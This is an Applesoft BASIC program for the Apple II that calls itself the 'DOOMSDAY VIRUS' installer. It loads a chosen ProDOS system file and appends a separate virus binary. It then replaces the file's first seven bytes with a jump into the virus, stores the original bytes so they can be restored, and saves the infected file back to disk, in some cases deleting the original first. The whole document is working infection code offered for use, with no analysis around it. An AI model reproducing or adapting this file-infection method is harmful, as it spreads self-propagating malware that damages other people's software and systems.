5 V1 = 1:V2 = 4: REM VIRUS VERSION NUMBER 10 D$ = CHR$ (4) 20 PRINT D$"PR#3" 25 PRINT "DOOMSDAY VIRUS V"V1".0"V2" INSTALLER" 30 PRINT : PRINT "Be sure the VIRUS file is in drive #2, and the file to be infected is in" 35 PRINT "drive #1. Files larger than 24576 ($6000) cannot be infected.": PRINT 40 INPUT "File to infect: ";I$ 45 IF I$ = "" THEN PRINT D$"CATALOG,S6": GOTO 40 46 IF I$ = "PRODOS" THEN PRINT : PRINT "Error - PRODOS file cannot be infected": END 50 ONERR GOTO 70 60 PRINT D$"verify "I$",s6" 65 POKE 216,0: GOTO 80 70 PRINT : PRINT "Error - File not found": END 80 PRINT : PRINT "Loading file..."; 90 PRINT D$"bload "I$",s6,a$2000,tsys" 100 EH = PEEK (48841):EL = PEEK (48840):EOF = EH * 256 + EL 110 LE = EOF + 8192: REM WHERE VIRUS STARTS 120 IF EOF > 24576 THEN PRINT : PRINT "Error - File is too long. Max length = 24576 ($6000)": END 130 PRINT "done.": PRINT "Loading VIRUS..."; 140 PRINT D$"bload virus,s6,d2,a"LE 145 VH = PEEK (48841):VL = PEEK (48840):VF = VH * 256 + VL 148 REM  * Get first 7 bytes of file * 150 FOR A = 0 TO 6:FB(A) = PEEK (8192 + A): NEXT 155 REM  * Replace first 7 bytes of file with new virus data * 160 POKE 8192,76: POKE 8193,EL: POKE 8194,EH + 32 170 POKE 8195,V1: POKE 8196,V2: POKE 8197,0: POKE 8198,0 175 REM  * Change move location pointers * 180 POKE LE + 8,EL: POKE LE + 12,EH + 32: POKE LE + 20,VH + EH + 32 + 1 185 REM  * Store original first 7 bytes in memory * 190 FOR A = 0 TO 6: POKE (LE + 1420) + A,FB(A): NEXT 200 PRINT "done.": PRINT : PRINT "Save file back to disk with same filename? ";: GET A$ 202 PRINT A$;: IF A$ = "N" THEN PRINT "o": GOTO 204 203 PRINT "es": PRINT D$"delete "I$",s6,d1": GOTO 210 204 PRINT "Save new file [,Sx,Dx,(/prefix/)]: ";: CALL - 657 205 I$ = "": FOR X = 512 TO 767: IF PEEK (X) < > 141 THEN I$ = I$ + CHR$ ( PEEK (X) - 128): NEXT 210 PRINT D$"CREATE "I$",TSYS": PRINT D$"BSAVE "I$",A$2000,TSYS,L"EOF + VF 220 PRINT : PRINT "Virus infected file now saved!" 230 END